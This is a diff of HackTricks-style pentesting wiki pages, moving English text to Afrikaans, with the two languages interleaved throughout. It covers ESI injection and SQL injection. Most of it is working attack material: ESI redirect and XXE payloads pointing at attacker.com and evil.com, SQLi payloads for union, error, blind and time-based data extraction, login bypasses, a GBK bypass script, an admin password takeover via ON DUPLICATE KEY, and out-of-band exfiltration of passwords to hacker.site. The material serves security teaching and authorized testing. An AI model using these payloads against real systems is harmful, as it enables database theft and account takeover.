<!--esi $(HTTP_COOKIE) -->
@ -151,41 +136,31 @@ Use <!--esi--> to bypass WAFs:
# It's possible to put more complex JS code to steal cookies or perform actions
```
#### Private Local File
Do not confuse this with a "Local File Inclusion":
Moet dit nie verwar met 'n "Local File Inclusion":
```markup
<esi:include src="secret.txt">
```
#### CRLF
```markup
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```
#### Open Redirect
The following will add a `Location` header to the response
Die volgende sal 'n `Location` kop aan die antwoord toevoeg
```bash
<!--esi $add_header('Location','http://attacker.com') -->
```
#### Voeg Kop In
#### Add Header
- Add header in forced request
- Voeg kop in gedwonge versoek
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
```
- Add header in response (useful to bypass "Content-Type: text/json" in a response with XSS)
- Voeg 'n kop in die antwoord by (nuttig om "Content-Type: text/json" in 'n antwoord met XSS te omseil)
```bash
<!--esi/$add_header('Content-Type','text/html')/-->
@ -193,55 +168,45 @@ The following will add a `Location` header to the response
# Check the number of url_decode to know how many times you can URL encode the value
```
#### CRLF in Add header (**CVE-2019-2438)**
#### CRLF in Add header (**CVE-2019-2438**)
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
```
#### Akamai debug
This will send debug information included in the response:
Dit sal foutopsporingsinligting wat in die antwoord ingesluit is, stuur:
```xml
<esi:debug/>
```
### ESI + XSLT = XXE
It's possible to use **`eXtensible Stylesheet Language Transformations (XSLT)`** syntax in ESI just by indicating the param **`dca`** value as **`xslt`**. Which might allow to abuse **XSLT** to create and abuse a XML External Entity vulnerability (XXE):
Dit is moontlik om **`eXtensible Stylesheet Language Transformations (XSLT)`** sintaksis in ESI te gebruik deur net die param **`dca`** waarde as **`xslt`** aan te dui. Dit mag toelaat om **XSLT** te misbruik om 'n XML Eksterne Entiteit kwesbaarheid (XXE) te skep en te misbruik:
```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
XSLT file:
XSLT-lêer:
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
```
Check the XSLT page:
Kontroleer die XSLT-bladsy:
{{#ref}}
xslt-server-side-injection-extensible-stylesheet-language-transformations.md
{{#endref}}
### References
### Verwysings
- [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
- [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
- [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
## Brute-Force Detection List
## Brute-Force Opsporing Lys
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,20 +4,19 @@
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheid gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie- en kuberveiligheidprofessionals in elke dissipline.
{% embed url="https://www.rootedcon.com/" %}
## What is SQL injection?
## Wat is SQL-inspuiting?
An **SQL injection** is a security flaw that allows attackers to **interfere with database queries** of an application. This vulnerability can enable attackers to **view**, **modify**, or **delete** data they shouldn't access, including information of other users or any data the application can access. Such actions may result in permanent changes to the application's functionality or content or even compromision of the server or denial of service.
'n **SQL-inspuiting** is 'n sekuriteitsfout wat aanvallers toelaat om **in te gryp in databasisnavrae** van 'n toepassing. Hierdie kwesbaarheid kan aanvallers in staat stel om **te sien**, **te wysig**, of **te verwyder** data waartoe hulle nie toegang behoort te hê nie, insluitend inligting van ander gebruikers of enige data waartoe die toepassing toegang kan hê. Sulke aksies kan lei tot permanente veranderinge aan die toepassing se funksionaliteit of inhoud of selfs kompromittering van die bediener of ontkenning van diens.
## Entry point detection
When a site appears to be **vulnerable to SQL injection (SQLi)** due to unusual server responses to SQLi-related inputs, the **first step** is to understand how to **inject data into the query without disrupting it**. This requires identifying the method to **escape from the current context** effectively. These are some useful examples:
## Toegangspuntdeteksie
Wanneer 'n webwerf blyk te wees **kwesbaar vir SQL-inspuiting (SQLi)** weens ongewone bedienerreaksies op SQLi-verwante insette, is die **eerste stap** om te verstaan hoe om **data in die navraag in te spuit sonder om dit te ontwrig**. Dit vereis om die metode te identifiseer om **doeltreffend uit die huidige konteks te ontsnap**. Dit is 'n paar nuttige voorbeelde:
```
[Nothing]
[Nothing]
'
"
`
@ -28,13 +27,11 @@ When a site appears to be **vulnerable to SQL injection (SQLi)** due to unusual
"))
`))
```
Dan, jy moet weet hoe om die **navraag reg te stel sodat daar nie foute is nie**. Om die navraag reg te stel, kan jy **data invoer** sodat die **vorige navraag die nuwe data aanvaar**, of jy kan net jou data **invoer** en **'n kommentaar simbool aan die einde voeg**.
Then, you need to know how to **fix the query so there isn't errors**. In order to fix the query you can **input** data so the **previous query accept the new data**, or you can just **input** your data and **add a comment symbol add the end**.
_Note that if you can see error messages or you can spot differences when a query is working and when it's not this phase will be more easy._
### **Comments**
_Let daarop dat as jy foutboodskappe kan sien of jy kan verskille opmerk wanneer 'n navraag werk en wanneer dit nie werk nie, sal hierdie fase makliker wees._
### **Kommentaar**
```sql
MySQL
#comment
@ -60,31 +57,27 @@ SQLite
HQL
HQL does not support comments
```
### Bevestiging met logiese operasies
### Confirming with logical operations
'n Betroubare metode om 'n SQL-inspuitingskwesbaarheid te bevestig, behels die uitvoering van 'n **logiese operasie** en die waarneming van die verwagte uitkomste. Byvoorbeeld, 'n GET-parameter soos `?username=Peter` wat identiese inhoud lewer wanneer dit verander word na `?username=Peter' or '1'='1`, dui op 'n SQL-inspuitingskwesbaarheid.
A reliable method to confirm an SQL injection vulnerability involves executing a **logical operation** and observing the expected outcomes. For instance, a GET parameter such as `?username=Peter` yielding identical content when modified to `?username=Peter' or '1'='1` indicates a SQL injection vulnerability.
Similarly, the application of **mathematical operations** serves as an effective confirmation technique. For example, if accessing `?id=1` and `?id=2-1` produce the same result, it's indicative of SQL injection.
Examples demonstrating logical operation confirmation:
Op soortgelyke wyse dien die toepassing van **wiskundige operasies** as 'n effektiewe bevestigingstegniek. Byvoorbeeld, as toegang tot `?id=1` en `?id=2-1` dieselfde resultaat lewer, is dit 'n aanduiding van SQL-inspuiting.
Voorbeelde wat logiese operasiebevestiging demonstreer:
```
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
```
This word-list was created to try to **confirm SQLinjections** in the proposed way:
Hierdie woordlys is geskep om te probeer om **SQLinjections** op die voorgestelde manier te **bevestig**:
{% file src="../../images/sqli-logic.txt" %}
### Confirming with Timing
In some cases you **won't notice any change** on the page you are testing. Therefore, a good way to **discover blind SQL injections** is making the DB perform actions and will have an **impact on the time** the page need to load.\
Therefore, the we are going to concat in the SQL query an operation that will take a lot of time to complete:
### Bevestiging met Tyd
In sommige gevalle **sal jy geen verandering** op die bladsy wat jy toets, opgemerk nie. Daarom is 'n goeie manier om **blinde SQL injections** te ontdek om die DB aksies te laat uitvoer wat 'n **invloed op die tyd** sal hê wat die bladsy benodig om te laai.\
Daarom gaan ons in die SQL-navraag 'n operasie byvoeg wat baie tyd sal neem om te voltooi:
```
MySQL (string concat and logical ops)
1' + sleep(10)
@ -106,13 +99,11 @@ SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```
In sommige gevalle sal die **slaap funksies nie toegelaat word** nie. Dan, in plaas daarvan om daardie funksies te gebruik, kan jy die navraag **kompleks operasies laat uitvoer** wat verskeie sekondes sal neem. _Voorbeelde van hierdie tegnieke gaan apart op elke tegnologie kommentaar lewer (indien enige)_.
In some cases the **sleep functions won't be allowed**. Then, instead of using those functions you could make the query **perform complex operations** that will take several seconds. _Examples of these techniques are going to be commented separately on each technology (if any)_.
### Identifying Back-end
The best way to identify the back-end is trying to execute functions of the different back-ends. You could use the _**sleep**_ **functions** of the previous section or these ones (table from [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
### Identifisering van die Agterkant
Die beste manier om die agterkant te identifiseer, is om te probeer om funksies van die verskillende agterkante uit te voer. Jy kan die _**slaap**_ **funksies** van die vorige afdeling of hierdie gebruik (tabel van [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
```bash
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
@ -140,34 +131,32 @@ The best way to identify the back-end is trying to execute functions of the diff
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```
Also, if you have access to the output of the query, you could make it **print the version of the database**.
Ook, as jy toegang het tot die uitvoer van die navraag, kan jy dit **druk die weergawe van die databasis**.
> [!NOTE]
> A continuation we are going to discuss different methods to exploit different kinds of SQL Injection. We will use MySQL as example.
> 'n Voortsetting waar ons verskillende metodes gaan bespreek om verskillende soorte SQL-inspuitings te ontgin. Ons sal MySQL as voorbeeld gebruik.
### Identifying with PortSwigger
### Identifisering met PortSwigger
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
## Exploiting Union Based
## Ontginning van Unie-gebaseerde
### Detecting number of columns
### Opspoor van die aantal kolomme
If you can see the output of the query this is the best way to exploit it.\
First of all, wee need to find out the **number** of **columns** the **initial request** is returning. This is because **both queries must return the same number of columns**.\
Two methods are typically used for this purpose:
As jy die uitvoer van die navraag kan sien, is dit die beste manier om dit te ontgin.\
Eerstens moet ons die **aantal** **kolomme** wat die **aanvanklike versoek** teruggee, uitvind. Dit is omdat **albei navrae dieselfde aantal kolomme moet teruggee**.\
Twee metodes word tipies vir hierdie doel gebruik:
#### Order/Group by
To determine the number of columns in a query, incrementally adjust the number used in **ORDER BY** or **GROUP BY** clauses until a false response is received. Despite the distinct functionalities of **GROUP BY** and **ORDER BY** within SQL, both can be utilized identically for ascertaining the query's column count.
#### Bestel/Groepeer volgens
Om die aantal kolomme in 'n navraag te bepaal, pas die getal wat in **ORDER BY** of **GROUP BY** klousules gebruik word, geleidelik aan totdat 'n vals antwoord ontvang word. Ten spyte van die verskillende funksies van **GROUP BY** en **ORDER BY** binne SQL, kan albei identies gebruik word om die kolomtelling van die navraag te bepaal.
```sql
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
#-1' UNION SELECT 1,2,3--+ True
```
```sql
@ -175,25 +164,21 @@ To determine the number of columns in a query, incrementally adjust the number u
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
#-1' UNION SELECT 1,2,3--+ True
```
#### UNION SELECT
Select more and more null values until the query is correct:
Kies meer en meer null waardes totdat die navraag korrek is:
```sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
```
_Jy moet `null` waardes gebruik soos in sommige gevalle die tipe van die kolomme aan beide kante van die navraag dieselfde moet wees en null is geldig in elke geval._
_You should use `null`values as in some cases the type of the columns of both sides of the query must be the same and null is valid in every case._
### Extract database names, table names and column names
On the next examples we are going to retrieve the name of all the databases, the table name of a database, the column names of the table:
### Trek databasisname, tabelname en kolomname uit
In die volgende voorbeelde gaan ons die naam van al die databasisse, die tabelnaam van 'n databasis, die kolomnamen van die tabel onttrek:
```sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
@ -204,80 +189,67 @@ On the next examples we are going to retrieve the name of all the databases, the
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
```
_There is a different way to discover this data on every different database, but it's always the same methodology._
_Daar is 'n ander manier om hierdie data op elke verskillende databasis te ontdek, maar dit is altyd dieselfde metodologie._
## Exploiting Hidden Union Based
When the output of a query is visible, but a union-based injection seems unachievable, it signifies the presence of a **hidden union-based injection**. This scenario often leads to a blind injection situation. To transform a blind injection into a union-based one, the execution query on the backend needs to be discerned.
Wanneer die uitvoer van 'n navraag sigbaar is, maar 'n union-gebaseerde inspuiting onbereikbaar blyk te wees, dui dit op die teenwoordigheid van 'n **verborgene union-gebaseerde inspuiting**. Hierdie scenario lei dikwels tot 'n blinde inspuitingsituasie. Om 'n blinde inspuiting in 'n union-gebaseerde een te transformeer, moet die uitvoeringsnavraag op die agtergrond verstaan word.
This can be accomplished through the use of blind injection techniques alongside the default tables specific to your target Database Management System (DBMS). For understanding these default tables, consulting the documentation of the target DBMS is advised.
Dit kan bereik word deur die gebruik van blinde inspuitingstegnieke saam met die standaard tabelle wat spesifiek is vir jou teiken Databasisbestuurstelsel (DBMS). Om hierdie standaard tabelle te verstaan, word dit aanbeveel om die dokumentasie van die teiken DBMS te raadpleeg.
Once the query has been extracted, it's necessary to tailor your payload to safely close the original query. Subsequently, a union query is appended to your payload, facilitating the exploitation of the newly accessible union-based injection.
Sodra die navraag onttrek is, is dit nodig om jou payload aan te pas om die oorspronklike navraag veilig te sluit. Vervolgens word 'n union-navraag by jou payload gevoeg, wat die benutting van die nuut toeganklike union-gebaseerde inspuiting fasiliteer.
For more comprehensive insights, refer to the complete article available at [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
Vir meer omvattende insigte, verwys na die volledige artikel beskikbaar by [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
## Exploiting Error based
If for some reason you **cannot** see the **output** of the **query** but you can **see the error messages**, you can make this error messages to **ex-filtrate** data from the database.\
Following a similar flow as in the Union Based exploitation you could manage to dump the DB.
As jy om een of ander rede **nie** die **uitvoer** van die **navraag** kan sien nie, maar jy kan **die foutboodskappe sien**, kan jy hierdie foutboodskappe gebruik om **data uit die databasis te ex-filtreer**.\
Volg 'n soortgelyke vloei soos in die Union Based benutting, kan jy daarin slaag om die DB te dump.
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```
## Exploiting Blind SQLi
In this case you cannot see the results of the query or the errors, but you can **distinguished** when the query **return** a **true** or a **false** response because there are different contents on the page.\
In this case, you can abuse that behaviour to dump the database char by char:
In hierdie geval kan jy nie die resultate van die navraag of die foute sien nie, maar jy kan **onderskei** wanneer die navraag **terugkeer** met 'n **ware** of 'n **valse** antwoord omdat daar verskillende inhoud op die bladsy is.\
In hierdie geval kan jy daardie gedrag misbruik om die databasis karakter vir karakter te dump:
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```
## Exploiting Error Blind SQLi
This is the **same case as before** but instead of distinguish between a true/false response from the query you can **distinguish between** an **error** in the SQL query or not (maybe because the HTTP server crashes). Therefore, in this case you can force an SQLerror each time you guess correctly the char:
Dit is die **dieselfde geval as voorheen** maar in plaas daarvan om tussen 'n waar/onwaar antwoord van die navraag te onderskei, kan jy **onderskei tussen** 'n **fout** in die SQL-navraag of nie (miskien omdat die HTTP-bediener ineenstort). Daarom kan jy in hierdie geval 'n SQL-fout afdwing elke keer wanneer jy die karakter korrek raai:
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## Exploiting Time Based SQLi
In this case there **isn't** any way to **distinguish** the **response** of the query based on the context of the page. But, you can make the page **take longer to load** if the guessed character is correct. We have already saw this technique in use before in order to [confirm a SQLi vuln](./#confirming-with-timing).
In hierdie geval **is daar nie** enige manier om die **reaksie** van die navraag te **onderskei** op grond van die konteks van die bladsy nie. Maar, jy kan die bladsy **langer neem om te laai** as die geraamde karakter korrek is. Ons het hierdie tegniek al voorheen gesien in gebruik om [n SQLi kwesbaarheid te bevestig](./#confirming-with-timing).
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
## Gestapelde Vrae
## Stacked Queries
Jy kan gestapelde vrae gebruik om **meerdere vrae agtereenvolgens uit te voer**. Let daarop dat terwyl die daaropvolgende vrae uitgevoer word, die **resultate** **nie aan die toepassing teruggestuur** word nie. Daarom is hierdie tegniek hoofsaaklik nuttig in verband met **blinde kwesbaarhede** waar jy 'n tweede vraag kan gebruik om 'n DNS-opsoek, voorwaardelike fout of tydsvertraging te aktiveer.
You can use stacked queries to **execute multiple queries in succession**. Note that while the subsequent queries are executed, the **results** are **not returned to the application**. Hence this technique is primarily of use in relation to **blind vulnerabilities** where you can use a second query to trigger a DNS lookup, conditional error, or time delay.
**Oracle** ondersteun **gestapelde vrae.** **MySQL, Microsoft** en **PostgreSQL** ondersteun dit: `QUERY-1-HERE; QUERY-2-HERE`
**Oracle** doesn't support **stacked queries.** **MySQL, Microsoft** and **PostgreSQL** support them: `QUERY-1-HERE; QUERY-2-HERE`
## Out of band Exploitation
If **no-other** exploitation method **worked**, you may try to make the **database ex-filtrate** the info to an **external host** controlled by you. For example, via DNS queries:
## Uit-band Exploitatie
As **geen ander** eksploitasiemetode **gewerk het nie**, kan jy probeer om die **databasis** die inligting na 'n **eksterne gasheer** wat deur jou beheer word, te laat uitvoer. Byvoorbeeld, via DNS-vrae:
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
### Out of band data exfiltration via XXE
### Uit-baan data eksfiltrasie via XXE
```sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
```
## Geoutomatiseerde Exploitatie
## Automated Exploitation
Kyk na die [SQLMap Cheatsheet](sqlmap/) om 'n SQLi kwesbaarheid met [**sqlmap**](https://github.com/sqlmapproject/sqlmap) te benut.
Check the [SQLMap Cheatsheet](sqlmap/) to exploit a SQLi vulnerability with [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
## Tegnologie spesifieke inligting
## Tech specific info
We have already discussed all the ways to exploit a SQL Injection vulnerability. Find some more tricks database technology dependant in this book:
Ons het reeds al die maniere bespreek om 'n SQL Injection kwesbaarheid te benut. Vind nog 'n paar truuks wat afhanklik is van databastegnologie in hierdie boek:
- [MS Access](ms-access-sql-injection.md)
- [MSSQL](mssql-injection.md)
@ -285,60 +257,51 @@ We have already discussed all the ways to exploit a SQL Injection vulnerability.
- [Oracle](oracle-injection.md)
- [PostgreSQL](postgresql-injection/)
Or you will find **a lot of tricks regarding: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
Of jy sal **baie truuks vind rakende: MySQL, PostgreSQL, Oracle, MSSQL, SQLite en HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheid gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie en kuberveiligheid professionele in elke dissipline.
{% embed url="https://www.rootedcon.com/" %}
## Authentication bypass
## Verifikasie omseiling
List to try to bypass the login functionality:
Lys om te probeer om die aanmeldfunksionaliteit te omseil:
{{#ref}}
../login-bypass/sql-login-bypass.md
{{#endref}}
### Raw hash authentication Bypass
### Rau hash verifikasie omseiling
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
This query showcases a vulnerability when MD5 is used with true for raw output in authentication checks, making the system susceptible to SQL injection. Attackers can exploit this by crafting inputs that, when hashed, produce unexpected SQL command parts, leading to unauthorized access.
Hierdie navraag toon 'n kwesbaarheid wanneer MD5 met waar vir rou uitvoer in outentikasie kontroles gebruik word, wat die stelsel kwesbaar maak vir SQL-inspuiting. Aanvallers kan dit benut deur invoer te skep wat, wanneer gehas, onverwagte SQL-opdragdele produseer, wat lei tot ongemagtigde toegang.
```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
```
### Injected hash authentication Bypass
### Geïnkorporeerde hash outentiekheid omseiling
```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```
**Aanbevole lys**:
**Recommended list**:
You should use as username each line of the list and as password always: _**Pass1234.**_\
&#xNAN;_(This payloads are also included in the big list mentioned at the beginning of this section)_
Jy moet elke lyn van die lys as gebruikersnaam gebruik en as wagwoord altyd: _**Pass1234.**_\
&#xNAN;_(Hierdie payloads is ook ingesluit in die groot lys wat aan die begin van hierdie afdeling genoem is)_
{% file src="../../images/sqli-hashbypass.txt" %}
### GBK Authentication Bypass
IF ' is being scaped you can use %A8%27, and when ' gets scaped it will be created: 0xA80x5c0x27 (_╘'_)
### GBK Verifikasie Omseiling
IF ' word geskaap kan jy %A8%27 gebruik, en wanneer ' geskaap word sal dit geskep word: 0xA80x5c0x27 (_╘'_)
```sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
```
Python script:
Python-skrip:
```python
import requests
url = "http://example.com/index.php"
@ -347,90 +310,76 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
```
### Polyglot injection (multicontext)
### Polyglot-inspuiting (multikontext)
```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
## Invoegingsverklaring
## Insert Statement
### Wysig wagwoord van bestaande objek/gebruiker
### Modify password of existing object/user
Om dit te doen, moet jy probeer om 'n **nuwe objek te skep met die naam "master object"** (waarskynlik **admin** in die geval van gebruikers) deur iets te wysig:
To do so you should try to **create a new object named as the "master object"** (probably **admin** in case of users) modifying something:
- Create user named: **AdMIn** (uppercase & lowercase letters)
- Create a user named: **admin=**
- **SQL Truncation Attack** (when there is some kind of **length limit** in the username or email) --> Create user with name: **admin \[a lot of spaces] a**
- Skep gebruiker met naam: **AdMIn** (hoofdletters & kleinletters)
- Skep 'n gebruiker met naam: **admin=**
- **SQL Truncation Attack** (wanneer daar 'n soort **lengte beperking** in die gebruikersnaam of e-pos is) --> Skep gebruiker met naam: **admin \[baie spasie] a**
#### SQL Truncation Attack
If the database is vulnerable and the max number of chars for username is for example 30 and you want to impersonate the user **admin**, try to create a username called: "_admin \[30 spaces] a_" and any password.
As die databasis kwesbaar is en die maksimum aantal karakters vir gebruikersnaam byvoorbeeld 30 is en jy wil die gebruiker **admin** naboots, probeer om 'n gebruikersnaam te skep genaamd: "_admin \[30 spasies] a_" en enige wagwoord.
The database will **check** if the introduced **username** **exists** inside the database. If **not**, it will **cut** the **username** to the **max allowed number of characters** (in this case to: "_admin \[25 spaces]_") and the it will **automatically remove all the spaces at the end updating** inside the database the user "**admin**" with the **new password** (some error could appear but it doesn't means that this hasn't worked).
Die databasis sal **kontroleer** of die ingevoerde **gebruikersnaam** **bestaande** is in die databasis. As **nie**, sal dit die **gebruikersnaam** **afsnit** tot die **maksimum toegelate aantal karakters** (in hierdie geval tot: "_admin \[25 spasies]_") en dan sal dit **automaties al die spasies aan die einde verwyder** terwyl dit die gebruiker "**admin**" met die **nuwe wagwoord** in die databasis opdateer (sommige foute kan verskyn, maar dit beteken nie dat dit nie gewerk het nie).
More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
Meer inligting: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
_Noot: Hierdie aanval sal nie meer werk soos hierbo beskryf in die nuutste MySQL-installasies nie. Terwyl vergelykings steeds agtergrondspasies standaard ignoreer, sal die poging om 'n string in te voeg wat langer is as die lengte van 'n veld 'n fout tot gevolg hê, en die invoeging sal misluk. Vir meer inligting oor hierdie kontrole:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
### MySQL Insert time based checking
Add as much `','',''` as you consider to exit the VALUES statement. If delay is executed, you have a SQLInjection.
### MySQL Invoeg tydgebaseerde kontrole
Voeg soveel `','',''` by as wat jy oorweeg om die VALUES-verklaring te verlaat. As 'n vertraging uitgevoer word, het jy 'n SQLInjection.
```sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### OP DUPLIKATE SLUITEL UPDATE
### ON DUPLICATE KEY UPDATE
Die `ON DUPLICATE KEY UPDATE` klousule in MySQL word gebruik om aksies vir die databasis spesifiek te maak wanneer 'n poging aangewend word om 'n ry in te voeg wat 'n duplikaatwaarde in 'n UNIEKE indeks of PRIMÊRE SLUITEL sou veroorsaak. Die volgende voorbeeld demonstreer hoe hierdie kenmerk uitgebuit kan word om die wagwoord van 'n administrateurrekening te verander:
The `ON DUPLICATE KEY UPDATE` clause in MySQL is utilized to specify actions for the database to take when an attempt is made to insert a row that would result in a duplicate value in a UNIQUE index or PRIMARY KEY. The following example demonstrates how this feature can be exploited to modify the password of an administrator account:
Example Payload Injection:
An injection payload might be crafted as follows, where two rows are attempted to be inserted into the `users` table. The first row is a decoy, and the second row targets an existing administrator's email with the intention of updating the password:
Voorbeeld Payload Inspuiting:
'n Inspuitingspayload kan soos volg saamgestel word, waar twee rye probeer word om in die `users` tabel ingevoeg te word. Die eerste ry is 'n lokval, en die tweede ry teiken 'n bestaande administrateur se e-pos met die bedoeling om die wagwoord op te dateer:
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
Hier is hoe dit werk:
Here's how it works:
- Die navraag probeer om twee rye in te voeg: een vir `generic_user@example.com` en 'n ander vir `admin_generic@example.com`.
- As die ry vir `admin_generic@example.com` reeds bestaan, word die `ON DUPLICATE KEY UPDATE` klousule geaktiveer, wat MySQL instrueer om die `password` veld van die bestaande ry op "bcrypt_hash_of_newpassword" te werk.
- Gevolglik kan verifikasie dan probeer word met `admin_generic@example.com` met die wagwoord wat ooreenstem met die bcrypt-hash ("bcrypt_hash_of_newpassword" verteenwoordig die nuwe wagwoord se bcrypt-hash, wat vervang moet word met die werklike hash van die gewenste wagwoord).
- The query attempts to insert two rows: one for `generic_user@example.com` and another for `admin_generic@example.com`.
- If the row for `admin_generic@example.com` already exists, the `ON DUPLICATE KEY UPDATE` clause triggers, instructing MySQL to update the `password` field of the existing row to "bcrypt_hash_of_newpassword".
